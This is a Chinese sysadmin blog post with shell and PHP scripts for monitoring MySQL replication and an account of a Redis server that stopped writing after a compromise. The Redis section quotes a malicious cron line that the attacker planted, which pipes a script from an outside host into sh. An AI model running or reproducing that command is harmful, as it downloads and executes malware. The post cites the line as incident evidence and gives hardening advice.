一、MYSQL主从同步监控的php程序脚本及shell脚本-shell中使用while read批量赋值
publish:November 14, 2018 -Wednesday 业务中通常需要做的一件事就是监控mysql主从同步状态是否异常,如果同步异常,需要立即通知相关人员。实现很简单,定时任务连接mysql使用show master status和show slave status查看MySQL主从服务器的状态数据,提取到关键指标项slave_sql_running、slave_io_running、Seconds_Behind_Master、Last_SQL_Errno数据,网上也看过几个shell监控的例子,但是是将字符串进行多步切割进行取值Slave_IO_Running Slave_SQL_Running的,不大好,我这里在shell中在awk后使用while read批量进行赋值,比较方便。另外网上还有一些对错误码进行判断的额外排除,我觉得意义不大,关于MYSQL的错误码的含义,可在页面右上角进行搜索代码。
我这里试验通过的mysql主从同步监控shell脚本如下:
#!/bin/sh
#MYSQL从库检测
ip="192.168.162.1"
mysqluser="test"
mysqlpwd="password"
while true
do
#提取mysql监控数据
datetime=`date '+%Y-%m-%d %H:%M:%S'`
data=$(/usr/bin/mysql -h$ip -u$mysqluser -p$mysqlpwd -e "show slave status\G;"|egrep -i "Slave_IO_Running|Slave_SQL_Running|Seconds_Behind_Master|Last_SQL_Errno")
#echo $data
echo $data | awk '{print $2,$4,$6,$8}'| while read Slave_IO_Running Slave_SQL_Running Seconds_Behind_Master Last_SQL_Errno
do
#echo $Slave_IO_Running $Slave_SQL_Running $Seconds_Behind_Master $Last_SQL_Errno;
#条件判断显示
message=''
if [ "$Slave_IO_Running" == "Yes" -a "$Slave_SQL_Running" == "Yes" ]; then
if [ $Seconds_Behind_Master -gt 60 ]
then
message="slave ok,Seconds_Behind_Master:"$Seconds_Behind_Master;
fi
else
message="Mysql Slave:"${ip}" is not running! errno:"$last_error
#修复MYSQL主从同步,跳过一个event(可能是这个卡顿了),按需使用
#/usr/bin/mysql -h$ip -u$mysqluser -p$mysqlpwd -e "stop slave;set global sql_slave_skip_counter=1;start slave;"
fi
#最后输出的信息
if [ "$message" != "" ]; then
#如果有错误信息输出就进行报警
echo $datetime" "$message
else
true
fi
done
#每5秒执行一次监控
sleep 5
done
在主从同步恢复过程中set global sql_slave_skip_counter=N中的N是指跳过N个event,如果刚好落在事务的执行过程中,则会跳过整个事务。
另外一些网上的排除的错误码(1158,1159,1008,1007,1062)意义如下:像这种1062,1008,1007错误码不知道为什么要在这里排除,如果这些数据库不存在都排除,那MYSQL的错误码里的错误要排除的那就会多了去了。
1158:网络错误,出现读错误,请检查网络连接状况
1159:网络错误,读超时,请检查网络连接状况
1007:数据库已存在,创建数据库失败
1008:数据库不存在,删除数据库失败
1062:字段值重复,入库失败
另外还有一个PHP版的MYSQL主从监控,原理和shell一样的,这个我就直接用我手上现成的代码吧,还是用的老的mysqli_connect,暂时没有需求我也不去修改了。代码贴下以备不时之需:
#默认返回信息
$returnFlag='MYSQL';
$mysql_list = array('192.168.168.11','192.168.168.12','192.168.168.13','192.168.168.14');
$user = 'test';
$pass = '123456';
#主库监控结果标志
$chk_result=check('192.168.168.56', $user, $pass);
echo "$returnFlag#{$chk_result['status']}#{$chk_result['msg']}\n";
#从库监控结果标志
foreach($mysql_list as $host){
$chk_result=check($host,$user,$pass);
echo "$returnFlag#{$chk_result['status']}#{$chk_result['msg']}\n";
}
#检查mysql主从监控函数
function check($host,$user,$password,$slave=true,$port=3306,$socket=''){
$socket_path=empty($socket)?'':":{$socket}";
$conn=@mysqli_connect("{$host}:{$port}{$socket_path}",$user,$password);
$result=array('status'=>1,'msg'=>'');
if(!$conn){
$result['msg'] = "[host:{$host},port:{$port}]mysql无法连接";
$result['status'] =2;
return $result;
}
if($slave){
$query=@mysqli_query($conn,"show slave status");
if(!$query){
$result['msg']= "[host:{$host},port:{$port}]cant get slave info";
$result['status']=2;
}
$records=mysqli_fetch_assoc($query);
if($records["Slave_SQL_Running"] == "No" or $records["Slave_IO_Running"] == "No" or !empty($records["Last_Error"]))
{
$result['msg'] = "[host:{$host},port:{$port}] MYSQL数据库同步出错";
$result['status']=2;
}
if($records["Seconds_Behind_Master"] > 60)
{
$result['status']=2;
$result['msg'] = "[host:{$host},port:{$port}]"."从库同步延迟秒数:".$records["Seconds_Behind_Master"];
}
}
$query=@mysqli_query($conn,"show status like 'Threads_running'");
$records=mysqli_fetch_assoc($query);
if(intval($records['Value'])>=100){
$result['status']=2;
$result['msg']="[host:{$host},port:{$port}]活动连接数达到:{$records['Value']}";
}
mysqli_close($conn);
return $result;
}
二、redis进行bgsave快照出错时导致数据写入停止MISCONF Redis is configured to save RDB snapshots
前几天一看,http://weather.007.cn 里面的天气数据都不显示,一直没有时间去看一下,今天有空登录服务器瞄了一下,在对服务器删除几个KEY时出现报错:
(error) MISCONF Redis is configured to save RDB snapshots, but is currently not able to persist on disk. Commands that may modify the data set are disabled. Please check Redis logs for details about the error.
详细如下:
127.0.0.1:6379> get Back1
"\t\n* * * * * curl -fsSL http://c.21-2n.com:43768/shz.sh | sh\n\t"
127.0.0.1:6379> sudo rm -f Back1
(error) ERR unknown command 'sudo'
127.0.0.1:6379> del Back1
(error) MISCONF Redis is configured to save RDB snapshots, but is currently not able to persist on disk. Commands that may modify the data set are disabled. Please check Redis logs for details about the error.
这个Back1就是上次服务器中毒时的东东,中毒后进行了多项操作,目前其它各项已正常,没想到redis也中了枪,当然主要还是自己大意,一是redis对外网开了端口,二是密码设置地过于简单了,简单暴力破解就可以拿到密码,从上面来看这病毒将一条shell定时任务的命令写入了redis的值中,导致redis在持久化保存的时候出错,而redis里的stop-writes-on-bgsave-error选项默认是yes,导致redis无法写入,于是天气更新数据一直进不来,所以页面没有数据。解决也很简单:
127.0.0.1:6379> config set stop-writes-on-bgsave-error no
OK
127.0.0.1:6379> del Back1
(integer) 1
当然这只是临时的解决办法,最终还是要修改redis的配置文件,另外对于服务器的安全而言,redis如果没有必要一定不要对外网开放端口,同时把redis的密码长度设置够长够复杂,安全是大事。